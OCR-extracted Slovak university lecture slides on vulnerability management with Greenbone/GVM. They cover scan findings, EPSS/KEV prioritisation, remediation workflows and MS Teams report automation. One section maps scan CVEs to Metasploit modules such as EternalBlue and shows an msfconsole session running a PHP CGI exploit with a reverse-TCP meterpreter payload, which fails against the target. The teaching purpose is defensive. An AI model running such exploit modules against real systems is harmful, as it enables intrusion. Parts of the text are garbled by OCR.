Mitigation: The configuration of this services should be changed so that it does not accept the listed cipher suites anymore. Please see the
references for more resources supporting you with this task.

dbéveryhodnosti zistenych zranitelnosti.

cve: CVE-2016-2183 , CVE-2016-6329 , CVE-2020-12872
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www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Mindeststandards/Mindeststandard_BSI_TLS_Version_2_4.html , https://web.archive.org/web/
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5 : SSL/TLS: Report Vulnerable Cipher Suites for HTTPS —=
Presné referencovanie eport Vulnerable Cipher Suites for 7.5

Host

Port/Protocol oID QoD
Feed a OI D R— 443/tcp 1.3.6.1.4.1.25623.1.0.108031 98%
= Greenbone Security Feed (GSF) = OID je jedineCny identifikator objektu
= pravidelne aktualizovany balik informacii o pouzivany na:
. érgnltﬁlr)ostlach a testoch, ktory pouziva GVM = presnu identifikaciu konkrétneho testu
l\?\?Tsuéﬁetwork Vulnerabilty Tests) zranitelnosti (NVT - Network Vulnerability Test)
ility L .
SCAP obsah (XCCDF/OVAL) Jeho vysledku
certifikabné checky = alebo iného objektu v databaze GVM

a dalSie bezpeclnostné informacie.

= OID umoznuije:
= Typy feedov:

= presne referencovat konkrétny test v

= Community Feed — bezplatny, mensi a menej
casto aktuglizovany (50p000 ¥\IVT) J reporte. e

= Commercial / Greenbone Security Feed — pIna = sledovat historiu nalezov,
verzia, aktualizovana denne, obsahuje tisice NVT = automatizovane mapovat vysledky na
a rozsSireny obsah SCAP (120 000) patch alebo mitigation.

= Obsah feedu:
= NVTs — testy zranitelnosti
= SCAP / OVAL/ XCCDF — pre compliance skeny

= Vendor advisories (oznamenia od vyrobcu) / CVE
mappings — mapovanie testov na konkrétne CVE
a produkty

= Format OID je Casto hierarchicky
retazec Cisel, napr.
1.3.6.1.4.1.25623.1.0.101234

MINSTERSTVO | Ny KOMPETENCNE CENTRUM
wwvesticl recionaneno rozvols | W TR kyBERNETICKE) BEZPECNOSTI
Buiky ZILINSKE) UNIVERZITY V 2LINE
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Pomoc s prioritizovanim

EPSS score + percentile

EPSS (Exploit Prediction Scoring System)
= model vytvoreny FIRST/NIST, ktory
predikuje pravdepodobnost, ze
konkrétna zranitelnost (CVE) bude
zneuzita v realnom svete
NIST = ,zdroj pravdy® o zranitelnostiach.
FIRST = ,spravca EPSS modelu®, ktory
tieto data pouziva a distribuuje skore
= Ciel: pomoct timom prioritizovat’
opravy podfa realneho rizika, nielen
podla CVSS skore

Score & Percentile

= Score

= Hodnota medzi 0 a 1, ktora odhaduje
pravdepodobnost, ze zranitelnost bude
zneuzita v najblizsom casovom obdobi
(zvyCajne 30 dni)

= VySSie skdre — vyssia
pravdepodobnost exploitacie

= Percentile:

= Porovnanie CVE s ostatnymi
zranitelnostami

= Napr. Percentile 90 znamena, ze dana
zranitelnost je v top 10 %
najpravdepodobnejsie zneuzitelnych

EPSS (Maximum severity CVE)
Score: 0.31387
Percentile: 0.96634

zranitelnosti.

= Pomaha vizualizovat, ktoré CVE su
prioritou pre tim bezpecnosti




KEV ako podmnozina CVE
Zoznamy zranitelnosti

CVE

Common Vulnerabilities and Exposures

= Medzinarodny Standard pre identifikaciu
znamych zranitelnosti v softveéri.

= Kazda zranitelnost ma jedinecny
identifikator (napr. CVE-2023-12345).

= Spravuje ho organizacia MITRE
Corporation v spolupraci s NIST.

= CVE zaznam obsahuje:
= strucny popis zranitelnosti,
= datum zverejnenia,
= odkazy na technickeé detaily (napr. NVD,
vendor advisories).

= Pouziva sa v nastrojoch na spravu
zranitelnosti, bezpecnostnych skeneroch,
SIEM systémoch atd.

PLAN [OBNOVY,

KEV

Known Exploited Vulnerabilities

= Zoznam zranitelnosti, ktoré su aktivne
zneuzivane v realnom svete.

= Spravuje ho Cybersecurity and
Ilﬂlgaa\structure Security Agency (CISA) v

= KEV zoznam g_e podmnozinou CVE -
obsahug,e len tie CVE, ktoré su potvrdené
ako aktivne zneuzivané.

= Sluzi ako prioritny zoznam pre =
patchovanie — organizacie by mali rieSit KEV
zranitelnosti prednostne.

= Obsahuje:
= CVE identifikator,
= datum pridania do KEV,

= poziadavku na mitigaciu '&napr. deadline pre
ederalne agentury v USA).


https://www.cisa.gov/known-exploited-vulnerabilities-catalog
https://www.cisa.gov/known-exploited-vulnerabilities-catalog
https://www.cisa.gov/known-exploited-vulnerabilities-catalog
https://www.cisa.gov/known-exploited-vulnerabilities-catalog
https://www.cisa.gov/known-exploited-vulnerabilities-catalog
https://www.cisa.gov/known-exploited-vulnerabilities-catalog
https://www.cisa.gov/known-exploited-vulnerabilities-catalog
https://www.cve.org/

VM checklist

= 4a. Naprava (remediation)

Solution

Mitigation: The configuration of this services should be changed so that it does not accept the listed cipher suites anymore. Please see the
references for more resources supporting you with this task.

References
cve: CVE-2016-2183 , CVE-2016-6329 , CVE-2020-12872

url: https://ssl-config.mozilla.org , https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Publications/TechGuidelines/TG02102/BSlI-
TR-02102-1.html , https://www.bsi.bund.de/EN/Themen/Oeffentliche-Verwaltung/Mindeststandards/TLS-Protokoll/TLS-Protokoll_node.html ,
https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/TechnischeRichtlinien/TR03116/BSI-TR-03116-4.html , https://
www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Mindeststandards/Mindeststandard_BSI_TLS_Version_2_4.html , https://web.archive.org/web/
20240113175943/https://www.bettercrypto.org , https://www.enisa.europa.eu/publications/algorithms-key-size-and-parameters-report-2014 ,

cert-bund: WID-SEC-2024-1277 , WID-SEC-2024-0209 , WID-SEC-2024-0064 , WID-SEC-2022-2226 , WID-SEC-2022-1955 , CB-K21/1094 , CB-
K20/1023 , CB-K20/0321 , CB-K20/0314 , CB-K20/0157 , CB-K19/0618 , CB-K19/0615 , CB-K18/0296 , CB-K17/1980 , CB-K17/1871 , CB-K17/1803
, CB-K17/1753 , CB-K17/1750 , CB-K17/1709 , CB-K17/1558 , CB-K17/1273 , CB-K17/1202 , CB-K17/1196 , CB-K17/1055 , CB-K17/1026 , CB-
K17/0939 , CB-K17/0917 , CB-K17/0915 , CB-K17/0877 , CB-K17/0796 , CB-K17/0724 , CB-K17/0661 , CB-K17/0657 , CB-K17/0582 , CB-K17/0581

* Implementovat patch alebo | :ooinusen
mitigaciu podla planu

= Qverit, Zze zranitelnost bola
uspesne opravena (re-scan)

= Aktualizovat' inventar a
evidenciu zranitelnosti po
oprave

IPadresa |  Domainname Dét‘;::if:; ::t'te" Nézov zranitefnost | Zavaznost |

22.09.2025 02:19:17
22.09.2025 02:19:17
22.09.2025 02:19:17
22.09.2025 02:19:17

SSL/TLS: Server Certificate / ( Medium Vv procese
Non-Existent Page Physical P: Medium Vv procese
SSL/TLS: Deprecated TLSv1.0 Medium VvV procese
SSL/TLS: Certificate Signed Us Medium VvV procese
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NVT Name Telnet Unencrypted Cleartext Login

= NVT OID 1.3.6.1.4.1.25623.1.0.108522
VM checklist

Active Yes
= 4b. Akceptacia bez napravy Application
= Aktualizovat' inventar a evidenciu Hosts 158.193 I
zranitelnosti bez mitigacie Port Any
. n Severity > 0.0
Kto, kedy, dovod Task FRI - k1S STUD - VLAN - Public I
Result Any

Appearance

Override from Severity > 0.0 to Log

NemoZno RieSenie: Akceptacia rizika
Seget mitogovat v OS na 16.5.24 8:00 Datum: 6.25.2025
Fortigate Schvélil:
Pridané FW pravidlo Dovod: Studentske zadania na Dynalab/Dynamips. Iba cisco
Kontsek 16.5.24 8:00 zariadenia v rdmci zadania.

iptables

Modified Tue, May 6, 2025 11:50 AM CEST
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VM CheCinst EXECUTIVE REPORT
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Greenbone/GVM

, Oddelenia v organizacii
Prehladové 8
B 23

rafy pre
< yp . I 58
vedenie ——
organizacie: P 79
B 27

Y
I 61

I 103
12

32
W 16

119
97

228

391
7 °r 1 T44

0 50 100 150 200 250 300 350 400 450

W High Medium ™ Low




Greenbone/GVM

Automatizacia dorucovania reportov MS Teams:

= Funkcie Alerts

Scan Targets

Alerts

FRI - Backbone - Public

= Test Alert XML
= FRI - Backbon...
= FRI - Backbon...
= FRI - Backbon...
= FRI - Backbon...
= FRI - Backbon...
= FRI - Backbon...
= FRI - Backbon...
= FRI - Backbon...
= FRI - Backbon...
= FRI - Backbon...
= FRI - Backbon...
= FRI - Backbon..

< FRI - Backbone - Stefan Toth - Al...

= FRI - Backbon...
= FRI - Backbon...
= FRI - Backbon...
= FRI - Backbon...
= FRI - Backbon...
= FRI - Backbon...
= FRI - Backbon...
= FRI - Backbon...
= FRI - Backbon...
= FRI - Backbon...
= FRI - Backbon...
= FRI - Backbon...
= FRI - Backbon...

v

ate Financované
PR Europskou tGniou
NextGenerationEU

[

Alerts 46 of 46

4

Name i

Alert Technical PDF
Alert TXT

Alert XML

FRI - Backbone - Jana Uramowva - Alert Technical PDF
FRI - Backbone - Jana Uramowva - Alert TXT

FRI - Backbone - Jana Uramowva - Alert XML

i KOMPETENCNE CENTRUM
m KYBERNETICKEJ BEZPECNOSTI
g ZILINSKES UNIVERZITY ¥ 21LINE
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Event

Task run status changed to Done

Task run status changed to Done

Task run status changed to Done

Task run status changed to Done

Task run status changed to Done

Task run status changed to Done



Greenbone/GVM

Automatizacia dorucovania reportov MS Teams:

= Funkcie Alerts

Name Alert Technical PDF dh
Comment
(@ Task run status changed to Done v
Event () New ¥ NVTs v
() Ticket Received ( ) Assigned Ticket Changed | ' Owned Ticket Changed
@ Always
() Severity at least 0.1 .
Condition | ) Severity Level changed v
() Filter ¥ matches at least 1 | ~ result(s) NVT(s)
) Filter v [natches at 1 | : result(s) more than previous
east scan
Report Content (@ Compose
@ None
Delta Report | ) Previous completed report of the same task
() Report with ID

e Financované
I Europskou Gniou
NextGenerationEU
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Greenbone/GVM

Automatizacia dorucovania reportov MS Teams:
= Metdda Email

Ma1l Configuration
Configure how to send e-mail alerts from your Greenbone Enterprise Appliance. Saving a change to the 'Max attachment'

or 'Max include' setting will restart the Greenbone Vulnerability Manager. All scan tasks that are running at this time
will be stopped.

Mail m_
Mailhub Port maillhub_port:

SMTP Authentication Requirements [enabled]

SMTP Username smtp_user: [N

SMTP Password Set/Change the password for the current user associated with the SMTP server.
SMTP Enforce TLS [enabled]

Max. Email Attachment Size Change the maxumum emaill attachment size
Max. Email Include Size Change the maximum emaill include size

<K >

Financované
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NextGenerationEU
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Greenbone/GVM

Automatizacia dorucovania reportov MS Teams:

= VM
— — : E < 0]
=l Threat Intelligence for ELK + GVM MS Teams
# 7
Ubuntu Linux (64-bit)
@*
- General Stats Console Network Disks Snapshots Logs Advanced
= : = i =

+

14
[ing

I Copy & SSH & SSH as.. = RDI = -

-




Greenbone/GVM

Automatizacia dorucovania reportov MS Teams:
= Python skripty
= Systémove sluzby

= Vlastna systémova sluzbu, ktora spusta Python skript a pomocou nastroja getmail
automatizuje spracovanie e-mailov.

rootG I : ~# systemctl status getmail.service
® getmail.service - GVMbot Email Fetcher

Loaded: loaded (/etc/systemd/system/getmail.service; enabled; vendor preset: enabled)
Active: actiwatwng (auto-restart) swnce Sun 2025-04-20 14:52:49 CEST; 50s ago
Process: 267751 ExecStart=/usr/bin/getmail --getmaildir /| --cfile getmailrc (code=exited, status=0/SUCCESS)
Mawn PID: 267751 (code=ex1ited, status=0/SUCCESS)
CPU: 134ms

PLAN [OBNOVY_




Greenbone/GVM

Automatizacia dorucovania reportov MS Teams:
= Python skripty
= Systémove sluzby PUthOﬂ

= |de o vlastnu systemd sluzbu, ktora spusta Python skript na spracovanie reportov a ich
doru€ovanie do MS Teams.

rootQ N : -+ systemctl status gvmbot-email.service
® gvmbot-emall.service - GVMbot Ema1ll Processing Service

Loaded: loaded (/etc/systemd/system/gvmbot-email.service; enabled; vendor preset: enabled)

Active: active (running) since Sat 2025-04-19 01:41:19 CEST; 1 day 13h ago
Mawn PID: 25785 (python3)

Tasks: 1 (lumit: 5758)
Memory: 6.8M
CPU: 1.202s
CGroup: /system.slice/gvmbot-ematill.service

25785 /usr/bin/python3 /| / email_processor.py

Apr 19 01:41:19 | systemd[1]: Started GVMbot Email Processing Service.

E MINISTERSTVO " KOMPETENCNE CENTRUM

INVESTICHAFGIONANEHG ROZVOJA 5

mvesTIcH Reciony m | QN veernenicke Bezee CNOSTI
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= Python skripty
= Systémove sluzby

Apr 20 03:51:46
Apr 20 03:51:46
Apr 20 03:51:46
Apr 20 03:51:46
Apr 20 03:51:46
Apr 20 03:51:46
Apr 20 03:51:46
20 03:51:46

Greenbone/GVM

Automatizacia dorucovania reportov MS Teams: p

rootQ I : ~# systemctl status gvmbot-teams-uploader.service °
® gvmbot-teams-uploader.service - GVMbot MS Teams File Uploader Service
loaded (/etc/systemd/system/gvmbot-teams-uploader.service; enabled; vendor preset: enabled)

Loaded:
Active: active (running) since Sun 2025-04-20 03:51:43 CEST; 10h ago
Main PID: 252371 (python3)
Tasks: 1 (Lumit: 5758)
Memory: 16.4M
CPU: 783ms
CGroup: /system.slice/gvmbot-teams-uploader.service

python3[252371]:
python3[252371]:
python3[252371]:
python3[252371]:
python3[252371]:
python3[252371]:
python3[252371]:
python3[252371]:
python3[252371]:
python3[252371]:

Microsoft
Graph API

o

Workflows

PN
N

ython’

» Urci sa prie€inok pre PDF
» Zrealizuje sa upload PDF
Skopiruje sa URL nahratého PDF

» UrCi sa prie€inok pre XML
« Zrealizuje sa upload XML
» Skopiruje sa URL nahratého XML

L_252371 /usr/bin/python3 /N teans_uploader.py

Starting MS Teams File Uploader Service with Adaptive Card postung...

Dynamic folder for 'FRI - KIS - | report 20250420 031624.pdf' 1s: Skenovanie zrantitelnosti/KIS/Sken z 20%5
Uploadwng 'FRI - KIS - report 20250420 031624.pdf' to URL: htitps://graph.microsoft.com/v1.0/s1tes/z1ln
File 'FRI - KIS - _report 20250420 031624.pdf' uploaded successfully!

Uploaded file URL: https://zilinskauniverzita.sharepoint.com/s1ites
Dynamic folder for 'FRI - KIS - | _report 20250420 031624.xml' 1s: Skenovanie zranitelnosti/KIS/Sken z 202
Uploadwng 'FRI - KIS - report 20250420 031624.xml' to URL: https://graph.microsoft.com/v1.0/s1tes/z1ln
File 'FRI - KIS - | _report_ 20250420 031624.xml' uploaded successfully!

Uploaded file URL: httDs://zﬂtnskaunwerzita.sharepoint.com/sites/—a

Posting Adaptive Card with the following JSON:
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Greenbone/GVM

Automatizacia dorucovania reportov do MS Teams:

rostrednictvom apl... 6.5.23:18 dh e - : - " . ;
@ P P Délezité upozornenie: Pri OS Linux skontrolujte perzistenciu
aplikovanej mitigacie, aby zostala funkcna aj po restarte OS/VM.

Rebort zranitelnosti pre Vase VM/IP Po uprave konfiguracnych suborov nezabudnite restartovat

dotknuté sluzby.

(6.5.2025)
il dEﬁ Report je dostupny v tomto kanali: Files -> Skenovanie
Tento oznam sa tyka vsetkych, ktori maji VM/IP pre potreby zranitelnosti -> KIS -> Sken z 2025-05-06 Stiahnut’ PDF

bakalarskej prace, inZinierskeho projektu, diplomovej prace Stiahnut XML
alebo inych vyucovacich aktivit.

V ramci pravidelného skenovania bezpecnostnym nastrojom

Greenbone (OpenVAS)iboli identifikované zranitelnostijna Report Obsahu-’e najdene zranitelnosti pre vsetky VM/IP -

----- najdite si svoje zaznamy podla Vasej IP v dokumente.

mitigaciu.




Greenbone/GVM

SOC - testPublic > Skenovanie zranitelnosti > KIS > Sken z 2025-05-06

D Nazov v Upravené v
[  FRI - KIS - Container_Elasticsearch2_report_20250506_224834.pdf 6. maja
(m)  FRI - KIS - Container_Elasticsearch2_report_20250506_224834.xml 6. maja
[  FRI - KIS - Container_Kibana-nova_report_20250506_224934.pdf 6. maja
() FRI - KIS - Container_Kibana-nova_report_20250506_224934.xm| 6. maja
&  FRI - KIS - Container_Surricata2_report_20250506_224732.pdf 6. maja
(m)  FRI - KIS - Container_Surricata2_report_20250506_224732.xml 6. maja

P Ll E
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Phyton script pre GVM

— Generovanie Excel suborov z reportov




Vytvorenie priecinkov pre Reporty

& > Dokumenty > General > Skenovanie zranitelnosti Nazov

W sken z 2024-05-03

ﬁ Mazov ~ Upravené ~ .
a CIT_ _Vulnerability Management Tracker_2024.xlsx
. ar %  pondelok o 16:07 _ a CIT_ Vulnerability Management Tracker_2024.xlsx
a CIT | _VMulnerability Management Tracker_2024.xlsx
Kl pondelok o 16:11 . .
o a CIT_ _Vulnerability Management Tracker_2024.xlsx
KIS pondelok o 16:10 : a CIT_ _Vulnerability Management Tracker_2024.xlsx
. KMME pondelok o 16:10
__  EKMMOA pondelok o 16:11
| KMNT pondelok o 16:12 . MNazov
L KsT pondelok o 16:11 : 11 KI5_Meno Priezvisko_Vulnerability Management Tracker_2024.xlsx
KTK pondelok o 16:12
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Vytvorenie priecinkov pre Reporty

-

Mazowv

B Kontrolny sken 2024-05-17

_OpenVAS-report_03053202 ﬂ
OpenVAS-report_ 0305202

] CIT_Dpen"u"AS report_03052024.pdf

B a1l OpenVAS-report_03052024.pdf
B cm ' _OpenVAS-report_03052024.xml
B ot -report 03052024, pdf

B crl -report_03052024.xml

B ot -report_03052024.pdf

B cr /o report_03052024.xml
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Vytvorenie Excelu — zalozka: Scan Results (Stastics)

Scan Results Vulnerabilities

Mdjdené zranitelnosti 1. sken

Datum a cas 1. skenu IP adresa Domain name Low | Medium [ High EEIITW
pocet
2 - - - - - - -
E (3.05.2024 05:29:17 3 10 1 14
e 03.05.2024 05:29:17 3 4 1 8
G 03.05.2024 05:29:17 3 1 0 4
A (13.05.2024 05:29:17 3 12 0 15
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Pokradovanie predoslej tabulky, stipce H az M

Vytvorenie Excelu — zalozka: Scan Results (Statistics)

Scan Results Vulnerabilities

_ E Najdené zranitel'nosti kontrolny sken _.——-“-""‘ i

EaTony mitci::)':l:\:\yich aI: 0
Datum a cas kontrolného skenu Low | Medium | High poéetl zvy§n'é akceptovamjch
zranitelnosti - -
zranitelnosti
15.5.24 12:53 2 1
15.5.24 12:53 1 2 0




Vytvorenie Excelu — zalozka: Vulnerabilities

Scan Results Vulnerabilities

Datum a cas zistenia

IP adresa Domain name . . Mazov zranitel'nost Zavainost Rieienie
rranitelnosti

w w w w w w

Deprecated S5H-1 Protocol

127.0.0.1 example.com 1.5.24 16:03
P Detection

high vV procese

TCP Timestamps

127.0.0.1 example.com 1.5.24 16:03 ] -
Information Disclosure

low akceptovana

SSL/TLS: Report Vulnerable ] - )
127.0.0.1 example.com 1.5.24 16:03 medium mitigovana

Cipher Suites for HTTPS

x| = <" <="""akceptovana”; <="""mitigovana";"v procese"});
‘“-.-"'"-. IF 51‘5\.2 Fm IF 552 P, l-". pt =1l IF $.IE FIF, -t-g P, T F" 1] Fm
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Pokradovanie predoslej tabulky, stipce G az N

Vytvorenie Excelu — zalozka: Vulnerabilities

Scan Resulis

low akceptovana
Nemoino
i Seget mitogovat v OS na 16.5.74 8:00
Fortigate medium mitigovana
; Pridane FW pravidlo
Kontiek ) 16.5.24 8:00
iptables
high V procese

E MINISTERSTVO " KOMPETENCNE CENTRUM

INVESTICHAFGIONANEHG ROZVOJA 5

mvesTIcH Reciony m | QN veernenicke Bezee CNOSTI
SLOVENSKE| REPUBLIKY ZILINSKE] UNIVERZITY V ZILINE
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00 - Procesny plan skenovania zranitelnosti na UNIZA.docx

VM checklist

01 - InStrukcie pre spracovanie zaznamov o rieseni zranitelnosti.docx

& & &

02 - Sabléna pre evidenicu postupov na mitigaciu zranitelnosti.docx

= 6. Integracia do internych

procesov

= Uistit sa, ze VM checkilist je
sucastou change
management procesu.

= Prepojit’ s incident o
response, aby kritické ﬁ o —
zranitelnosti vyvolali - ——

ZILINSKA UNIVERZITA PilOtNG 328 vvvve

okamzitu reakciu.
= Zabezpecit dokumentaciu a

V4 . r Tento dokument popisuje procesny plan pravidelného skenovania zranitefnosti na UNIZ
S ko Ie n Ie tI m OV re P ’ Cielom je zabezpedit vy3siu troven kybernetickej bezpecnosti a ochrany informaénych ak
Procesny plan univerzity. V reakcii na nedavne udalosti, ako ransomware Gtoky na kataster nehnutelno
(2025), utok na UMB (2023), je nevyhnutné posilnit preventivne opatrenia pr
7 . . Skenovania Zra niternostl’ na U N |ZA kvbe‘[neti_ckxirn hrozbém.Vtomtu pripade bo[i na dtfs‘k zneuzité d'lhu zname zr'aniter:nuosm k'f(
dokdzu nastroje pre skenovanie zranitelnosti odhalit. Pravidelnym skenovanim mozeme tie

. .

Pracovnd verzia wytvorend v ramci projektu Riadenie kybernetickej a informacnej bezpeénosti na UNIZA zranitelnosti odhalif a vyriesit skér, ne? ich potenciondlny Utoénik méze zneugit.

b

03 - Zaznam o rieseni zranitelnosti_Sample Data.x|sx

Rozsah dokumentu

Procesny plan sa vztahuje na vietky fakulty, sucasti a pracoviska UNIZA, ktoré su napojené
univerzitnd IT infradtruktdru.

PLAN [OBNOVY_ ‘ 9;




VM Checklist — change management proces

= Nové zariadenie v sieti

= Povinny vstupny sken pred nasadenim, aby sa do prostredia nezaradil system so
znamymi zranitefnostami.

= Nova sluzba na existujucom zariadeni
= Okamzity rescan po nasadeni, kedze nova sluzba meni rizikovy profil zariadenia.
= Zmena konfiguracie alebo upgrade softveru

= Sken po zmene, aby sa overilo, Ci konfiguracia alebo nova verzia softvéru
neotvorila nove slabiny.

* RozSirenie alebo uprava biznis procesu

= Sken pred produkcnym nasadenim, - nove procesy Casto rozsiruju utokove
plochy a vyzaduju overenie bezpecnostneho stavu.
= Zmeny Vv infrastrukture vzdy prinasaju nove rizika. VM musi byt sucastou
change managementu, aby sa tieto rizika identifikovali vCas a neboli
prenesené do produkcie.




© GreenboneReport

arse_xml_report(file_path)

parses report

A J
© Metasploit

Moznost preverovania zranitelnosti

searches exploits

© ReportGenerator

: : deduplica@ creat
licate_and_sort(exploits)

_txt_report{exploits, output_dir) h

Greenbone — Testovanie najdenych
zranitelnosti v Metasploit framework

83



Greenbone/GVM

Automatizacia testovania zranitelnosti P
= Python skript pgthon"
= Spracuje XML report z GVM (C) GreenboneReport

= Extrahuje zoznam zranitelnosti,
najma CVE identifikatory

= CVE hodnoty sa odoslu do
Metasploit Framework

. l\/IetaSploit (©) Metasploit

= Podla CVE identifikatorov vyhlada
dostupné exploity, resp. moduly,
ktoré sa daju pouzit na pokus o
zneuzitie konkrétnej zranitelnosti

= Vysledky sa deduplikuju

= Vytvori sa vystupny report

o parse_xml_report(file_path)

Metasploit

parses report

o search_exploits(vulnerabilities)

searches exploits

@ ReportGenerator
- - deduplicates@ creates report
o deduplicate_and_sort(exploits)

o create_txt_report(exploits, output_dir)
Greenbone
g i | () HEa

PLAN [OBNOVY_




Greenbone/GVM

GVM Report prepojenie s Metasploit Framework

1Vulnerability: PHP Multiple Vulnerabilities (Dec 2018) - Windows Severity: 7.5 (Port: 443/tcp)

: : : .

_3, "°§52°'§§18_19518 (Port: fp GVM report obsahuje CVE a otvorené porty

4 Found exploits: Python Metasploit skript: k CVEs hfada zodpovedajuce

8 Module: Metasploit moduly. Zobrazené su CVE, otvoreny port, a

? g;zﬂ";g;: el zoznam najdenych exploit modulov (eternalblue,

8 Check: Yes doublepulsar).

9 Description: php imap_open Remote Code Execution To umoznuje skriptu neskér mapovat CVE — konkrétny
10 exploit modul v Metasploite.

11
12 Vulnerability: Microsoft Windows SMB Server Multiple Vulnerabilities-Remote (4013389) Severity: 8.8 (Port: 445/tcp)

13 Hostname : NN 1-: N
14 CVE 2017-0143, 2017-0144, 2017-0145, 2017-0146, 2017-0147, 2017-0148 (Port: J4s5/tcp]):
15 Found exploits: 6

16 Module: Jexploit/windows/smb/ms17 010 eternalblue

17 Disclosure Date: 2017-03-14

18 Rank: average

19 Check: Yes

20 Description: MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
21

22 CVE 2017-0143, 2017-0144, 2017-0145, 2017-0146, 2017-0147, 2017-0148 (Port:J445/tcp):
23 Found explojts: 6

24 Module: Jexploit/windows/smb/smb doublepulsar rce

25 Disclosure Date: 2017-04-14

26 Rank: great

27 Check: Yes

28 Description: SMB DOUBLEPULSAR Remote Code Execution

e Financované
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Greenbone/GVM Vykonanie modulu:
« use exploit/... — vyber modulu podfa CVE

Vykonan ie Vyb raného + set RHOST / set RPORT - nastavenie ciela (nastavujeme IP a port)

« exploit - pokus o zneuzitie zranitelnosti

mOd u I uv Metasp|0lte « Vystup ukazuje - ze vzdialeny systém sice odpoveda, ale modul sa

nevie pripojit alebo ciel nie je zranitelny.

msf6 >Juse exploit/windows/http/php cgl _arg injection_rce cve 2024 4577
[*] No payload configured, detfaulting to php/meterpreter/reverse_tcp

msf6 exploit(windows/http/php_cgi_arg_injection_rce_cve_2024_4577) >|set RHOST ]
RHOST = I
msfé6 exploit(windows/http/php_cgi_arg_injection_rce_cve_2024_&577) >]| set RPORT 443

RPORT = 443
msf6 exploit(windows/http/php_cgi_arg_injection_rce_cve_2024_4577) >
S —

[#*] Started reverse TCP handler on

[#*] Running automatic check ("set AutoCheck false" to disable)

[-] Exploit failed [disconnected]: Errno:: ECONNRESET Connection reset by peer

[*] Exploit completed, but no session was created.

msf6 exploit(windows/http/php_cgi_arg_injection_rce_cve_2024_4577) > exploit

[*] Started reverse TCP handler on |GGG

[*] Running automatic check ("set AutoCheck false" to disable)

[-] Exploit aborted due to failure: not-vulnerable: The target is not exploitable. Ensure TARGETURI 1i
s set to a valid PHP CGI endpoint. "set ForceExploit true" to override check result.
[*] Exploit completed, but no session was created.

msfé6 exploit(windows/http/php_cgi_arg_injection_rce_cve_2024_4577) > |}

P - E MINISTERSTVO KOMPETENCNE CENTRUM
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Greenbone/GVM Kontrola sluzby:
« Tu kontrolujeme Ci sluzba, na ktory exploit cieli, vObec existuje.

Kontrola sluzby + Vidime odpoved 404 Not Found.

« Server bezi na Apache Debian, nie na tom, ¢o exploit oCakava.
« To vysvetluje, precCo exploit nepresiel - cielovy endpoint ma iny typ
sluzby.

kali% kala o~

$ https:// NN : - 3/php-cgi/php-cgi.exe

Date: T AD g HArH"
Server:
X-Powered-By: Nette Framewor
X-Frame-Options: SAMEORIGIN
Expires: Thu, 19 Nov 1981 @8:52:0@ GMT

Cache=Control: no-store, no-cache, must-revalidate

Pragma: no-cache

Vary: X-Requested-With

Set-Cookie: PHPSESSID=|NEEEGEGEGEGENEEEE: c<pires=Thu, 01-May-2025 20:27:01 GMT; Max-Age=6048
00; path=/; HttpOnly

Strict-Transport-Security: max-age=63072000; includeSubdomains;

Content-Type: text/html; charset=utf-8

GMT




Greenbone/GVM Nie kazdé CVE méa Metasploit existujuci exploit modul:

’ - * Pre niektoré CVE sa najde existujuci exploit
Debug VyStup SCri pt (exploit/linux/samba/chain_reply),
@ . « Pre iné Metasploit hlasi ,No results from search*.
Metasploit

20 resource {search_hnst_lﬁ.E.#.E.rc)h'search cve:lﬁlﬁ—:ﬁﬁB'

21

22 Matching Modules

rE——————————

24

25 # Name Disclosure Date Rank Check Description

26 - —

27 @ Jexploit/linux/samba/chain_replyf 2010-06-16 good No Samba chain_reply Memory Corruption (Linux x86)
28

29

30 Interact with a module by name or index. For example info @, use @ or use exploit/linux/samba/chain_reply
31

32 resp : D, @ # 6.rc)>lsearch cve:2012-0021

33 [-1]N

34 resource (searc 0. # 6.rc)> search cve:2012-1140
35 [-] No results frnm search
Sﬁ:resnurch (search_host_10.0.4.6.rc)> search cve:2010-2805
37 [-] No results from search

PLAN [OBNOVY_ ‘9




Monitorujeme aj VM nastroj

Aj bezpecnostné nastroje je potrebneé
monitorovat’

89



Monitorovanie GVM v LibreNMS

LibreNMS

(52;) L|t]fENMS A Overview @B Devices [l Maps 4 Services (@@ Ports ®® Health > Wireless &= Apps 23 Routing @@ Alerts ;-Q Global Search
gvm
- Storage Usage - Memory Usage - Processor Usage
Q Overview |# Graphs % Health Cﬁ? Ports 23 Routing a Inventory [3 Logs o Alerts  |ml Alert Stats |2 Latency a Notes @
B8 Greenbone Enterprise Appliance ﬁl Processors
System Name gvm 100 +
Resolved IP I %
Operating System Greenbone 0S 80
70
Object ID .1.3.6.1.4.1.35847.1.1
60
Contact ] o
Device Added 1 week 5 days 15 hours 51 minutes 9 seconds ago 40
Last Discovered 22 hours 45 minutes 36 seconds ago &4
20
Uptime 1 hour 14 minutes 41 seconds 1o
Location _ e

0
Thu 12:00 Thu 16:00 Thu 208:00 Fri 00:00 Fri 04:00 Fri 08:00
i A

Intel Xeon E5-2690 0 @ 2.90GHz x12
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Monitorovanie GVM v SIEM ELK pomocou detection rules

Logs
View the current log files of your Greenbone Enterprise Appliance.

Journal of all current log events
Feed Feed Synchronization Logs
Boot Logs from the latest Boot
Manager Logs from the Greenbone Vulnerability Manager
Scanner Logs from OpenVAS and ospd-openvas
Upgrade Logs from the Greenbone 0S Upgrade
Configuration Logs showing configuration changes
Installation  Logs from the Greenbone Enterprise Appliance Installation
Full Complete System Logs
Testovanie
vybraného
detekcného < Back >
pravidla pre GVM
v Kibane
] Actions @timestamp J- Rule
| | " == [0 ocac Mar 17, 2025 @ 23:08:20.879 Potential Success Bruteforce Greenbone
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Explore Pricing 2

arch Engine

the Internet Shodan.io

Co o nas vie kazdy...
Online vyhladavac zariadeni a ich zranitelnosti

92



Vyhladavac€ pre zariadenia pripojené k internetu (vratane ich zranitel'nosti)

https://www.shodan.io/

= Shodan.io

= $pecializovany vyhladavac, ktory umoznuje ®% SHODAN  Expore  Pricing
prehladavat’ zariadenia pripojené k internetu
= na rozdiel od klasickych vyhladavacov ako Google,

ktoré indexuju webove stranky, Shodan
indexuje internet veci (loT), vratane:

Maps

serve .
i Search Engine
webkamery
smerovace for the Internet
inteligentné zariadenia .
priemyselné systémy a dalSie. of Everythlng
. Uce.l: ’ ) i . ) i L Lo Shodan is the world's first search
= Zistovanie, akeé zariadenia su pripojené Kk internetu a engine for Intemet-connected devices.
